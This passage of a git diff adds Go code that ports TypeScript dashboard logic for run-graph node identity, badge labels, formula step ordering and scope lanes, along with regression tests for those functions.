+// ── node-shape.ts ───────────────────────────────────────────────────────────
+
+// hiddenConstructs are construct kinds rendered as badges, not graph nodes.
+// Port of TS HIDDEN_CONSTRUCTS (plus the 'control' case in isHiddenConstruct).
+var hiddenConstructs = map[string]bool{
+	"scope-check":  true,
+	"run-finalize": true,
+	"spec":         true,
+}
+
+// isHiddenConstruct reports whether a construct kind is hidden from the graph.
+// Port of TS isHiddenConstruct.
+func isHiddenConstruct(kind string) bool {
+	return hiddenConstructs[kind] || kind == "control"
+}
+
+// semanticNodeIDFor resolves a bead's semantic node id. Port of TS
+// semanticNodeIdFor.
+func semanticNodeIDFor(b runSnapshotBead, rootBeadID string) string {
+	beadID := nonEmpty(b.id)
+	if beadID != "" && beadID == rootBeadID {
+		return rootBeadID
+	}
+	if explicit := explicitLogicalBeadID(b); explicit != "" {
+		return externalizeID(explicit)
+	}
+	if stepID := beadMeta(b, beadmeta.StepIDMetadataKey); stepID != "" {
+		return externalizeID(stepID)
+	}
+	if ref := normalizedStepRef(b); ref != "" {
+		if semanticID, ok := semanticIDFromStepRef(ref); ok {
+			return externalizeID(semanticID)
+		}
+	}
+	if beadID != "" {
+		return externalizeID(beadID)
+	}
+	return externalizeID("run-node")
+}
+
+// hiddenBadgeTargetFor resolves the visible node a hidden bead's badge attaches
+// to. Port of TS hiddenBadgeTargetFor ("" mirrors null).
+func hiddenBadgeTargetFor(b runSnapshotBead, rootBeadID string) string {
+	if constructKindFor(b, rootBeadID) == "run-finalize" {
+		return rootBeadID
+	}
+	if controlRef := beadMeta(b, beadmeta.ControlForMetadataKey); controlRef != "" {
+		if target, ok := semanticIDFromControlRef(controlRef); ok {
+			return externalizeID(target)
+		}
+	}
+	ref := normalizedStepRef(b)
+	if ref == "" {
+		return ""
+	}
+	if target, ok := semanticIDFromControlRef(ref); ok {
+		return externalizeID(target)
+	}
+	return ""
+}
+
+// constructKindFor maps a bead's raw kind to a RunConstructKind. Port of TS
+// constructKindFor.
+func constructKindFor(b runSnapshotBead, rootBeadID string) string {
+	beadID := nonEmpty(b.id)
+	if beadID != "" && beadID == rootBeadID {
+		return "run-root"
+	}
+	switch rawKind(b) {
+	case "ralph":
+		return "check-loop"
+	case "retry":
+		return "retry"
+	case "scope", "epic", "body":
+		return "scope"
+	case "fanout":
+		return "fanout"
+	case "condition":
+		return "condition"
+	case "expand", "expansion":
+		return "expansion"
+	case "scope-check":
+		return "scope-check"
+	case "run-finalize":
+		return "run-finalize"
+	case "spec":
+		return "spec"
+	case "cleanup":
+		return "control"
+	default:
+		return "step"
+	}
+}
+
+// externalKindFor resolves the display kind. Port of TS externalKindFor.
+func externalKindFor(b runSnapshotBead, constructKind string) string {
+	if constructKind == "check-loop" {
+		return "check-loop"
+	}
+	kind := rawKind(b)
+	if kind == "ralph" {
+		return "check-loop"
+	}
+	if kind != "" {
+		return kind
+	}
+	return constructKind
+}
+
+// displayTitleFor resolves a node's display title. Port of TS displayTitleFor.
+func displayTitleFor(b runSnapshotBead, fallback string) string {
+	title := nonEmpty(b.title)
+	if title == "" {
+		title = strings.NewReplacer("-", " ", "_", " ").Replace(fallback)
+	}
+	return externalizeDisplayText(title)
+}
+
+// badgeLabelFor maps a construct kind to a badge label. Port of TS badgeLabelFor.
+func badgeLabelFor(kind string) string {
+	switch kind {
+	case "scope-check":
+		return "scope check"
+	case "run-finalize":
+		return "finalize"
+	default:
+		return strings.ReplaceAll(kind, "-", " ")
+	}
+}
+
+// loopControlNodeIDFor resolves the loop-control node id for a bead. Port of TS
+// loopControlNodeIdFor ("" mirrors undefined).
+func loopControlNodeIDFor(b runSnapshotBead) string {
+	scopeRef := beadMeta(b, beadmeta.ScopeRefMetadataKey)
+	if scopeRef == "" {
+		scopeRef = nonEmpty(b.scopeRef)
+	}
+	if scopeRef != "" {
+		if id := loopControlIDFromRuntimeRef(scopeRef, []string{"iteration", "run"}); id != "" {
+			return id
+		}
+	}
+	ref := normalizedStepRef(b)
+	if ref == "" {
+		return ""
+	}
+	return loopControlIDFromRuntimeRef(ref, []string{"iteration"})
+}
+
+// rawKind resolves a bead's raw kind. Port of TS rawKind.
+func rawKind(b runSnapshotBead) string {
+	if k := beadMeta(b, beadmeta.KindMetadataKey); k != "" {
+		return k
+	}
+	if k := beadMeta(b, beadmeta.OriginalKindMetadataKey); k != "" {
+		return k
+	}
+	return nonEmpty(b.kind)
+}
+
+// explicitLogicalBeadID resolves the explicit logical bead id. Mirrors the TS
+// `meta(bead, 'gc.logical_bead_id') ?? nonEmpty(bead.logical_bead_id)` idiom.
+func explicitLogicalBeadID(b runSnapshotBead) string {
+	if v := beadMeta(b, beadmeta.LogicalBeadIDMetadataKey); v != "" {
+		return v
+	}
+	return nonEmpty(b.logicalBeadID)
+}
+
+// semanticIDFromStepRef extracts a semantic id from a step ref. Port of TS
+// semanticIdFromStepRef. The bool mirrors TS's undefined.
+func semanticIDFromStepRef(ref string) (string, bool) {
+	parts := splitNonEmpty(ref, ".")
+	if len(parts) == 0 {
+		return "", false
+	}
+	semanticParts := stripRuntimeSuffix(parts)
+	iterationIndex := lastIndexOf(semanticParts, "iteration")
+	if iterationIndex >= 0 &&
+		iterationIndex < len(semanticParts)-2 &&
+		isPositiveIntegerStr(at(semanticParts, iterationIndex+1)) {
+		return at(semanticParts, len(semanticParts)-1), true
+	}
+	if iterationIndex == len(semanticParts)-2 &&
+		isPositiveIntegerStr(at(semanticParts, iterationIndex+1)) {
+		// TS reads semanticParts[iterationIndex-1] with PLAIN bracket indexing, so
+		// iterationIndex==0 yields semanticParts[-1] === undefined (NOT .at(-1)).
+		// A "" here means out of range → undefined, so the caller falls through to
+		// the bead-id/run-node id instead of grouping on an empty semantic id.
+		prev := at(semanticParts, iterationIndex-1)
+		if prev == "" {
+			return "", false
+		}
+		return prev, true
+	}
+	last := at(semanticParts, len(semanticParts)-1)
+	if last == "" {
+		return "", false
+	}
+	return last, true
+}
+
+// semanticIDFromControlRef strips the scope-check suffix, then resolves the
+// semantic id. Port of TS semanticIdFromControlRef.
+func semanticIDFromControlRef(ref string) (string, bool) {
+	return semanticIDFromStepRef(stripScopeCheckSuffix(ref))
+}
+
+func stripScopeCheckSuffix(ref string) string {
+	ref = strings.TrimSuffix(ref, "-scope-check")
+	ref = strings.TrimSuffix(ref, ".scope-check")
+	return ref
+}
+
+// stripRuntimeSuffix drops a trailing "<marker>.<n>" runtime segment. Port of TS
+// stripRuntimeSuffix.
+func stripRuntimeSuffix(parts []string) []string {
+	if len(parts) < 2 {
+		return parts
+	}
+	marker := parts[len(parts)-2]
+	value := parts[len(parts)-1]
+	if value != "" && marker != "" && isPositiveIntegerStr(value) &&
+		(marker == "attempt" || marker == "run" || marker == "check" || marker == "eval") {
+		return parts[:len(parts)-2]
+	}
+	return parts
+}
+
+// loopControlIDFromRuntimeRef finds the control id preceding a "<marker>.<n>"
+// segment. Port of TS loopControlIdFromRuntimeRef ("" mirrors undefined).
+func loopControlIDFromRuntimeRef(ref string, markers []string) string {
+	parts := splitNonEmpty(ref, ".")
+	for _, marker := range markers {
+		markerIndex := -1
+		for index, part := range parts {
+			if part == marker && index+1 < len(parts) && isPositiveIntegerStr(parts[index+1]) {
+				markerIndex = index
+				break
+			}
+		}
+		if markerIndex <= 0 {
+			continue
+		}
+		controlID := parts[markerIndex-1]
+		if controlID != "" {
+			return externalizeID(controlID)
+		}
+		return ""
+	}
+	return ""
+}
+
+// isPositiveIntegerStr reports whether value is a canonical positive decimal
+// integer. Port of TS isPositiveInteger (`String(Number.parseInt(value,10)) ===
+// value && parsed > 0`). parseInt yields a float64, so beyond float64's exact
+// integer range the String() round-trip no longer equals value and TS rejects;
+// the exact-representability gate mirrors that (an Atoi overflow → undecodable →
+// rejected, which TS also does for such huge values).
+func isPositiveIntegerStr(value string) bool {
+	if value == "" {
+		return false
+	}
+	parsed, err := strconv.Atoi(value)
+	if err != nil {
+		return false
+	}
+	if strconv.Itoa(parsed) != value || parsed <= 0 {
+		return false
+	}
+	return int64(float64(parsed)) == int64(parsed)
+}
+
+var (
+	dashUnderscoreRunRe = regexp.MustCompile(`[-_]+`)
+	// jsWhitespaceRunRe matches one-or-more characters of the ECMAScript `\s`
+	// whitespace set (Go RE2 `\s` is ASCII-only), so the collapse mirrors the TS
+	// `.replace(/\s+/g, ' ')`.
+	jsWhitespaceRunRe = regexp.MustCompile(`[\t\n\v\f\r \x{00a0}\x{1680}\x{2000}-\x{200a}\x{2028}\x{2029}\x{202f}\x{205f}\x{3000}\x{feff}]+`)
+)
+
+// externalizeDisplayText rewrites whole-word "ralph" to "check loop" in display
+// text. Port of TS externalizeDisplayText.
+func externalizeDisplayText(value string) string {
+	if !containsRalphWord(value) {
+		return value
+	}
+	value = dashUnderscoreRunRe.ReplaceAllString(value, " ")
+	value = rewriteRalph(value, "check loop")
+	value = jsWhitespaceRunRe.ReplaceAllString(value, " ")
+	return nonEmpty(value)
+}
+
+// ── small slice helpers (TS array idioms) ───────────────────────────────────
+
+// splitNonEmpty splits s on sep and drops empty segments (TS `.filter(Boolean)`).
+func splitNonEmpty(s, sep string) []string {
+	parts := strings.Split(s, sep)
+	out := make([]string, 0, len(parts))
+	for _, p := range parts {
+		if p != "" {
+			out = append(out, p)
+		}
+	}
+	return out
+}
+
+func lastIndexOf(parts []string, want string) int {
+	for i := len(parts) - 1; i >= 0; i-- {
+		if parts[i] == want {
+			return i
+		}
+	}
+	return -1
+}
+
+// at returns parts[i] or "" when out of range (TS Array.prototype.at semantics
+// for the indices we use, where a miss feeds an undefined the callers guard).
+func at(parts []string, i int) string {
+	if i < 0 || i >= len(parts) {
+		return ""
+	}
+	return parts[i]
+}
diff --git a/internal/runproj/detail_nodeshape_test.go b/internal/runproj/detail_nodeshape_test.go
new file mode 100644
index 0000000000..a1606bc015
--- /dev/null
+++ b/internal/runproj/detail_nodeshape_test.go
@@ -0,0 +1,88 @@
+package runproj
+
+import "testing"
+
+// TestSemanticNodeIDForIterationStepRef is the regression test for the
+// iteration-at-index-0 bug: a step ref that reduces to ["iteration", <int>] makes
+// semanticIdFromStepRef return undefined in TS (plain semanticParts[-1]), so
+// semanticNodeIdFor falls through to the bead id. The Go port previously returned
+// a present-but-empty "" semantic id, corrupting grouping for that node.
+func TestSemanticNodeIDForIterationStepRef(t *testing.T) {
+	const root = "run-root"
+	cases := []struct {
+		name string
+		bead runSnapshotBead
+		want string
+	}{
+		{
+			name: "iteration.N step ref falls through to bead id",
+			bead: runSnapshotBead{id: "bead-x", stepRef: "iteration.5"},
+			want: "bead-x",
+		},
+		{
+			name: "iteration.N with runtime suffix still falls through to bead id",
+			bead: runSnapshotBead{id: "bead-y", stepRef: "iteration.5.run.2"},
+			want: "bead-y",
+		},
+		{
+			name: "iteration.N with no bead id falls through to run-node",
+			bead: runSnapshotBead{stepRef: "iteration.5"},
+			want: "run-node",
+		},
+		{
+			name: "trailing iteration keeps the preceding segment",
+			bead: runSnapshotBead{id: "bead-z", stepRef: "preflight.iteration.3"},
+			want: "preflight",
+		},
+		{
+			name: "mid iteration keeps the last segment",
+			bead: runSnapshotBead{id: "bead-w", stepRef: "review.iteration.3.apply"},
+			want: "apply",
+		},
+		{
+			name: "plain step ref uses the last segment",
+			bead: runSnapshotBead{id: "bead-v", stepRef: "mol-adopt-pr-v2.preflight"},
+			want: "preflight",
+		},
+		{
+			name: "explicit gc.step_id wins over the ref",
+			bead: runSnapshotBead{id: "bead-u", stepRef: "iteration.5", metadata: map[string]string{"gc.step_id": "real-step"}},
+			want: "real-step",
+		},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			if got := semanticNodeIDFor(tc.bead, root); got != tc.want {
+				t.Errorf("semanticNodeIDFor = %q, want %q", got, tc.want)
+			}
+		})
+	}
+}
+
+// TestIsPositiveIntegerStr pins the JS isPositiveInteger semantics, including the
+// float64 exact-representability boundary (parseInt yields a float64, so values
+// beyond 2^53 only pass when they happen to be exactly representable).
+func TestIsPositiveIntegerStr(t *testing.T) {
+	cases := []struct {
+		value string
+		want  bool
+	}{
+		{"1", true},
+		{"12", true},
+		{"0", false},
+		{"012", false},
+		{"-3", false},
+		{"3.0", false},
+		{"12abc", false},
+		{"", false},
+		{"9007199254740992", true},      // 2^53, exactly representable
+		{"9007199254740993", false},     // 2^53+1, parseInt rounds → String != value
+		{"9007199254740994", true},      // 2^53+2, exactly representable (even)
+		{"99999999999999999999", false}, // overflows int64 → rejected (TS also rejects)
+	}
+	for _, tc := range cases {
+		if got := isPositiveIntegerStr(tc.value); got != tc.want {
+			t.Errorf("isPositiveIntegerStr(%q) = %v, want %v", tc.value, got, tc.want)
+		}
+	}
+}
diff --git a/internal/runproj/detail_order.go b/internal/runproj/detail_order.go
new file mode 100644
index 0000000000..48fe4bf615
--- /dev/null
+++ b/internal/runproj/detail_order.go
@@ -0,0 +1,264 @@
+package runproj
+
+import (
+	"math"
+	"sort"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+)
+
+// formulaPreviewNode mirrors a compiled-formula preview/step node. Port of TS
+// FormulaPreviewNode (run-snapshot.ts) — only the id drives ordering.
+type formulaPreviewNode struct {
+	id string
+}
+
+// formulaDetailInput is the compiled-formula detail used to order run nodes. Port
+// of the ordering-relevant slice of TS FormulaDetail. The bead-derived
+// BuildRunDetail passes nil (no compiled formula), so orderRunNodeGroups is a
+// no-op there; a live caller that fetches the supervisor's compiled formula can
+// supply it to honor the authored step order.
+type formulaDetailInput struct {
+	name string
+	// previewNodes mirrors preview.nodes: nil means absent (so formulaRankByAlias
+	// falls back to steps, matching TS `??`); a non-nil empty slice means present
+	// but empty (no fallback).
+	previewNodes []formulaPreviewNode
+	steps        []formulaPreviewNode
+}
+
+// FormulaOrderingDetail is the ordering-relevant slice of the supervisor's
+// compiled formula detail. A live caller (the dashboard BFF) fetches the
+// supervisor formula endpoint and passes it to BuildRunDetailWithSessionsAndFormula
+// so the run's nodes honor the authored step order and the formula-detail state
+// resolves to "available" instead of a synthetic fetch failure. PreviewNodeIDs
+// mirrors preview.nodes: nil means the field was absent (ordering falls back to
+// StepIDs, matching the dashboard's `preview?.nodes ?? steps`); a non-nil empty
+// slice means present-but-empty (no fallback to steps).
+type FormulaOrderingDetail struct {
+	Name           string
+	PreviewNodeIDs []string
+	StepIDs        []string
+}
+
+// RunFormulaDetailFetchFailure enumerates why a live compiled-formula-detail
+// fetch did not yield a usable payload, mirroring the shared dashboard
+// RunFormulaDetailFetchFailure union. The live BFF distinguishes a genuine HTTP
+// 404 (the compiled formula is absent) from every other failure so the detail
+// page reports the right operator diagnostic instead of collapsing a missing
+// formula into a generic upstream error. Port of the TS formulaDetailFetchFailure
+// mapping (runDetail.ts): a 404 is not_found, everything else is upstream_error.
+type RunFormulaDetailFetchFailure string
+
+const (
+	// FormulaDetailUpstreamError is the default fetch-failure reason: the
+	// compiled formula could not be layered in for any reason other than a
+	// definite 404 (network error, timeout, non-404 status, unparseable body).
+	// It is also what the bead-derived projection reports when a name+target are
+	// known but no live detail was supplied.
+	FormulaDetailUpstreamError RunFormulaDetailFetchFailure = "upstream_error"
+	// FormulaDetailNotFound marks a fetch whose supervisor response was HTTP 404:
+	// the compiled formula is genuinely missing, distinct from a transient or
+	// upstream error.
+	FormulaDetailNotFound RunFormulaDetailFetchFailure = "not_found"
+)
+
+// toInput converts the exported ordering detail into the internal
+// formulaDetailInput, preserving the nil-vs-empty distinction on PreviewNodeIDs.
+// A nil receiver yields a nil input (the un-enriched path).
+func (d *FormulaOrderingDetail) toInput() *formulaDetailInput {
+	if d == nil {
+		return nil
+	}
+	return &formulaDetailInput{
+		name:         d.Name,
+		previewNodes: previewNodesFromIDs(d.PreviewNodeIDs),
+		steps:        previewNodesFromIDs(d.StepIDs),
+	}
+}
+
+// previewNodesFromIDs lifts node ids into formulaPreviewNode values, preserving
+// nil (absent) versus non-nil empty (present-but-empty) so the `??` fallback in
+// formulaRankByAlias behaves exactly as the dashboard's TS did.
+func previewNodesFromIDs(ids []string) []formulaPreviewNode {
+	if ids == nil {
+		return nil
+	}
+	nodes := make([]formulaPreviewNode, 0, len(ids))
+	for _, id := range ids {
+		nodes = append(nodes, formulaPreviewNode{id: id})
+	}
+	return nodes
+}
+
+// orderRunNodeGroups orders groups by the compiled formula's authored step order,
+// preserving snapshot order when no formula detail is available. Port of TS
+// orderRunNodeGroups (formula-order.ts).
+func orderRunNodeGroups(groups []runNodeGroup, formulaDetail *formulaDetailInput, rootBeadID string) []runNodeGroup {
+	rankByAlias := formulaRankByAlias(formulaDetail)
+	out := make([]runNodeGroup, len(groups))
+	copy(out, groups)
+	if len(rankByAlias) == 0 {
+		return out
+	}
+
+	var formulaName string
+	if formulaDetail != nil {
+		formulaName = formulaDetail.name
+	}
+
+	type ranked struct {
+		group runNodeGroup
+		index int
+		rank  float64
+	}
+	entries := make([]ranked, len(out))
+	for i, group := range out {
+		var rank float64
+		if group.semanticNodeID == rootBeadID {
+			rank = -1
+		} else {
+			rank = rankForGroup(group, rankByAlias, formulaName)
+		}
+		entries[i] = ranked{group: group, index: i, rank: rank}
+	}
+	sort.SliceStable(entries, func(i, j int) bool {
+		if entries[i].rank != entries[j].rank {
+			return entries[i].rank < entries[j].rank
+		}
+		return entries[i].index < entries[j].index
+	})
+	for i, entry := range entries {
+		out[i] = entry.group
+	}
+	return out
+}
+
+func formulaRankByAlias(formulaDetail *formulaDetailInput) map[string]int {
+	ranks := make(map[string]int)
+	if formulaDetail == nil {
+		return ranks
+	}
+	// TS: `formulaDetail?.preview?.nodes ?? formulaDetail?.steps ?? []`. The
+	// nullish `??` falls back to steps only when preview.nodes is ABSENT, so a
+	// present-but-empty preview.nodes (non-nil, len 0) must NOT fall through.
+	steps := formulaDetail.previewNodes
+	if steps == nil {
+		steps = formulaDetail.steps
+	}
+	for index, step := range steps {
+		for _, alias := range aliasVariants(step.id, formulaDetail.name) {
+			if _, ok := ranks[alias]; !ok {
+				ranks[alias] = index
+			}
+		}
+	}
+	return ranks
+}
+
+func rankForGroup(group runNodeGroup, ranks map[string]int, formulaName string) float64 {
+	rank := math.Inf(1)
+	for _, alias := range groupAliases(group, formulaName) {
+		if candidate, ok := ranks[alias]; ok && float64(candidate) < rank {
+			rank = float64(candidate)
+		}
+	}
+	return rank
+}
+
+func groupAliases(group runNodeGroup, formulaName string) []string {
+	var base []string
+	base = append(base, group.semanticNodeID)
+	for _, bead := range group.beads {
+		base = append(base, beadAliases(bead, formulaName)...)
+	}
+	var out []string
+	for _, alias := range base {
+		out = append(out, aliasVariants(alias, "")...)
+	}
+	return out
+}
+
+func beadAliases(bead runSnapshotBead, formulaName string) []string {
+	var sources []string
+	if v := nonEmpty(bead.id); v != "" {
+		sources = append(sources, v)
+	}
+	if v := explicitLogicalBeadID(bead); v != "" {
+		sources = append(sources, v)
+	}
+	if v := beadMeta(bead, beadmeta.StepIDMetadataKey); v != "" {
+		sources = append(sources, v)
+	}
+	if v := normalizedStepRef(bead); v != "" {
+		sources = append(sources, v)
+	}
+	var out []string
+	for _, value := range sources {
+		out = append(out, aliasVariants(value, formulaName)...)
+	}
+	return out
+}
+
+// aliasVariants expands a value into its externalized alias variants. Port of TS
+// aliasVariants (formulaName "" means no prefix to strip).
+func aliasVariants(value, formulaName string) []string {
+	clean := nonEmpty(value)
+	if clean == "" {
+		return nil
+	}
+	stripped := stripFormulaPrefix(clean, formulaName)
+	candidates := []string{clean, stripped, stripScopeCheckSuffix(clean), stripScopeCheckSuffix(stripped)}
+	seen := make(map[string]bool)
+	var out []string
+	for _, candidate := range candidates {
+		ext := externalizeID(candidate)
+		if !seen[ext] {
+			seen[ext] = true
+			out = append(out, ext)
+		}
+	}
+	return out
+}
+
+func stripFormulaPrefix(value, formulaName string) string {
+	if formulaName == "" {
+		return value
+	}
+	prefix := formulaName + "."
+	return strings.TrimPrefix(value, prefix)
+}
+
+// ── lanes.ts ────────────────────────────────────────────────────────────────
+
+const runLaneScope = "__run"
+
+// buildRunDisplayLanes groups nodes into scope lanes. Port of TS
+// buildRunDisplayLanes (lanes.ts), preserving first-seen scope order.
+func buildRunDisplayLanes(nodes []RunDisplayNode) []RunDisplayLane {
+	byScope := make(map[string]*RunDisplayLane)
+	var order []string
+	for _, node := range nodes {
+		scope := runLaneScope
+		if node.Scope.Kind == "scoped" {
+			scope = node.Scope.Ref
+		}
+		lane, ok := byScope[scope]
+		if !ok {
+			label := scope
+			if scope == runLaneScope {
+				label = "Run"
+			}
+			lane = &RunDisplayLane{ID: scope, Label: label, NodeIDs: []string{}}
+			byScope[scope] = lane
+			order = append(order, scope)
+		}
+		lane.NodeIDs = append(lane.NodeIDs, node.ID)
+	}
+	lanes := make([]RunDisplayLane, 0, len(order))
+	for _, scope := range order {
+		lanes = append(lanes, *byScope[scope])
+	}
+	return lanes
+}
diff --git a/internal/runproj/detail_parity_test.go b/internal/runproj/detail_parity_test.go
new file mode 100644
index 0000000000..e0ec4dbbea
--- /dev/null
+++ b/internal/runproj/detail_parity_test.go
@@ -0,0 +1,164 @@
+package runproj
+
+import (
+	"errors"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// The golden tests pin one graph.v2 adopt-pr run byte-for-byte. These parity
+// tests broaden the oracle across the shapes the golden fixture does not cover —
+// every supported formula's stage ladder, multi-iteration loop instancing, and
+// the unsupported-run classification — so a porting regression in that
+// most-bug-fixed logic fails CI instead of silently diverging from the deleted TS.
+
+// TestStagesForFormulaCoversEverySupportedFormula pins each supported formula's
+// stagesForFormula ladder (keys and order). A dropped, reordered, or renamed
+// stage — the kind of error the narrow golden cannot see — fails here.
+func TestStagesForFormulaCoversEverySupportedFormula(t *testing.T) {
+	want := map[string][]string{
+		"mol-adopt-pr-v2":                  {"preflight", "rebase", "review", "ci", "approval", "finalize", "cleanup"},
+		"mol-design-review-v2":             {"setup", "personas", "fanout", "synthesis", "apply", "finalize"},
+		"mol-bug-report-flow-v2":           {"intake", "repro", "audit", "classify", "approval", "publish", "dispatch"},
+		"mol-bug-report-implementation-v2": {"plan", "design", "implement", "review", "pr", "ci", "merge"},
+	}
+	for formula, keys := range want {
+		stages := stagesForFormula(formula, true)
+		if len(stages) != len(keys) {
+			t.Errorf("%s: got %d stages, want %d", formula, len(stages), len(keys))
+			continue
+		}
+		for i, stage := range stages {
+			if stage.key != keys[i] {
+				t.Errorf("%s: stage[%d].key = %q, want %q", formula, i, stage.key, keys[i])
+			}
+			if stage.label == "" {
+				t.Errorf("%s: stage %q has an empty label", formula, stage.key)
+			}
+			if len(stage.steps) == 0 {
+				t.Errorf("%s: stage %q has no steps", formula, stage.key)
+			}
+		}
+	}
+	if got := stagesForFormula("mol-adopt-pr-v2", false); got != nil {
+		t.Errorf("hasFormula=false must yield nil stages, got %v", got)
+	}
+	if got := stagesForFormula("mol-not-a-real-formula", true); got != nil {
+		t.Errorf("unknown formula must yield nil stages, got %v", got)
+	}
+}
+
+// TestFormulaStageProgressMarksCompleteActivePending drives the stage-status
+// classifier for a mid-flight adopt-pr run: two closed early steps, one
+// in-progress step. Stages before the active one are complete, the owning stage
+// active, and the rest pending.
+func TestFormulaStageProgressMarksCompleteActivePending(t *testing.T) {
+	stages := stagesForFormula("mol-adopt-pr-v2", true)
+	issues := []runIssue{
+		stepIssue("preflight", "closed"),
+		stepIssue("rebase-check", "closed"),
+		stepIssue("review-loop", "in_progress"),
+	}
+
+	got := formulaStageProgress(stages, issues)
+	want := []string{"complete", "complete", "active", "pending", "pending", "pending", "pending"}
+	if len(got) != len(want) {
+		t.Fatalf("got %d stages, want %d", len(got), len(want))
+	}
+	for i := range want {
+		if got[i].Status != want[i] {
+			t.Errorf("stage %q status = %q, want %q", got[i].Key, got[i].Status, want[i])
+		}
+	}
+}
+
+// TestReviewRoundDetectionAcrossIterations exercises loop instancing: the review
+// round is read from the highest iteration/attempt marker across a run's beads,
+// in each of the encodings reviewRoundForIssue accepts (digit-suffixed key,
+// digit-suffixed value, and a bare iteration/attempt key whose value holds the
+// number).
+func TestReviewRoundDetectionAcrossIterations(t *testing.T) {
+	cases := []struct {
+		name  string
+		issue runIssue
+		want  int
+	}{
+		{"digit-suffixed key", metaIssue(map[string]string{"review.iteration.2": "in_progress"}), 2},
+		{"digit-suffixed value", metaIssue(map[string]string{beadmeta.ScopeRefMetadataKey: "review-loop.iteration.3"}), 3},
+		{"bare attempt key holds the number", metaIssue(map[string]string{"attempt": "4"}), 4},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			got, ok := reviewRoundForIssue(tc.issue)
+			if !ok || got != tc.want {
+				t.Fatalf("reviewRoundForIssue = (%d,%v), want (%d,true)", got, ok, tc.want)
+			}
+		})
+	}
+
+	// Across a multi-iteration convoy the run resolves to the furthest round.
+	issues := []runIssue{
+		metaIssue(map[string]string{"review.iteration.1": "closed"}),
+		metaIssue(map[string]string{"review.iteration.3": "in_progress"}),
+		metaIssue(map[string]string{beadmeta.StepIDMetadataKey: "preflight"}),
+	}
+	round, ok := reviewRoundForIssues(issues)
+	if !ok || round != 3 {
+		t.Fatalf("reviewRoundForIssues = (%d,%v), want (3,true)", round, ok)
+	}
+}
+
+// TestBuildRunDetailUnsupportedRunReasons pins the run-classification bug fix
+// (gascity-dashboard-9w3k): a non-graph.v2 run reports not_run_view (an honest
+// list-only run), while a graph.v2 run missing its snapshot identity reports
+// invalid_snapshot (a genuine load failure) — the SPA renders these differently.
+func TestBuildRunDetailUnsupportedRunReasons(t *testing.T) {
+	notRunView := beads.Bead{
+		ID: "run-legacy", Type: "molecule", Status: "open",
+		Metadata: map[string]string{beadmeta.KindMetadataKey: "run"},
+	}
+	assertUnsupported(t, []beads.Bead{notRunView}, "run-legacy", ReasonNotRunView)
+
+	invalidSnapshot := beads.Bead{
+		ID: "run-x", Type: "molecule", Status: "open",
+		Metadata: map[string]string{
+			beadmeta.FormulaContractMetadataKey: "graph.v2",
+			beadmeta.KindMetadataKey:            "run",
+			beadmeta.ScopeKindMetadataKey:       "rig",
+			beadmeta.ScopeRefMetadataKey:        "demo",
+			// No gc.root_store_ref: the snapshot identity is incomplete.
+		},
+	}
+	assertUnsupported(t, []beads.Bead{invalidSnapshot}, "run-x", ReasonInvalidSnapshot)
+}
+
+func stepIssue(stepID, status string) runIssue {
+	return runIssue{
+		status: status,
+		metadata: map[string]string{
+			beadmeta.StepIDMetadataKey: stepID,
+			beadmeta.KindMetadataKey:   "step",
+		},
+	}
+}
+
+func metaIssue(metadata map[string]string) runIssue {
+	return runIssue{metadata: metadata}
+}
+
+func assertUnsupported(t *testing.T, beadList []beads.Bead, runID string, wantReason UnsupportedRunReason) {
+	t.Helper()
+	_, err := BuildRunDetail(beadList, runID, 1, 1)
+	if err == nil {
+		t.Fatalf("run %q: expected UnsupportedRunError %q, got nil", runID, wantReason)
+	}
+	var unsupported *UnsupportedRunError
+	if !errors.As(err, &unsupported) {
+		t.Fatalf("run %q: error %v is not an UnsupportedRunError", runID, err)
+	}
+	if unsupported.Reason != wantReason {
+		t.Errorf("run %q: reason = %q, want %q", runID, unsupported.Reason, wantReason)
+	}
+}
diff --git a/internal/runproj/detail_scope_test.go b/internal/runproj/detail_scope_test.go
new file mode 100644
index 0000000000..1b55ae7737
--- /dev/null
+++ b/internal/runproj/detail_scope_test.go
@@ -0,0 +1,70 @@
+package runproj
+
+import (
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// TestBuildRunDetailResolvesScopeFromRootStoreRef proves the detail path applies
+// the same gc.root_store_ref scope fallback that summary uses. A run root that
+// carries only gc.root_store_ref (no explicit gc.scope_kind/gc.scope_ref pair)
+// lists in /runs/summary via fromRootMetadataScope, and must also open in
+// /runs/{id}/detail instead of failing with invalid_snapshot. Regression for the
+// summary/detail scope-fallback divergence.
+func TestBuildRunDetailResolvesScopeFromRootStoreRef(t *testing.T) {
+	raw, err := os.ReadFile(filepath.Join("testdata", "beads_fixture.json"))
+	if err != nil {
+		t.Fatalf("read fixture: %v", err)
+	}
+	var beadList []beads.Bead
+	if err := json.Unmarshal(raw, &beadList); err != nil {
+		t.Fatalf("unmarshal fixture: %v", err)
+	}
+
+	// Strip the explicit scope pair from the run root, leaving only
+	// gc.root_store_ref=rig:gascity-packs — the scopeless shape that summary
+	// accepts but detail previously rejected with 422 invalid_snapshot.
+	found := false
+	for i := range beadList {
+		if beadList[i].ID == "dt-adopt1" {
+			delete(beadList[i].Metadata, beadmeta.ScopeKindMetadataKey)
+			delete(beadList[i].Metadata, beadmeta.ScopeRefMetadataKey)
+			found = true
+		}
+	}
+	if !found {
+		t.Fatal("fixture missing dt-adopt1 root; test needs updating")
+	}
+
+	detail, err := BuildRunDetail(beadList, "dt-adopt1", 1, 100)
+	if err != nil {
+		t.Fatalf("BuildRunDetail on root_store_ref-only root: %v", err)
+	}
+	if detail.ScopeKind != "rig" || detail.ScopeRef != "gascity-packs" {
+		t.Errorf("scope not recovered from root_store_ref: got kind=%q ref=%q, want rig/gascity-packs",
+			detail.ScopeKind, detail.ScopeRef)
+	}
+}
+
+// TestFromSnapshotScopeFallback unit-tests the scope resolver directly: the
+// explicit pair wins (root_store_ref ignored), the store ref recovers scope when
+// the pair is absent, and neither an empty nor a malformed store ref resolves.
+func TestFromSnapshotScopeFallback(t *testing.T) {
+	if k, r, ok := fromSnapshotScope(runSnapshot{scopeKind: "city", scopeRef: "main", rootStoreRef: "rig:other"}); !ok || k != "city" || r != "main" {
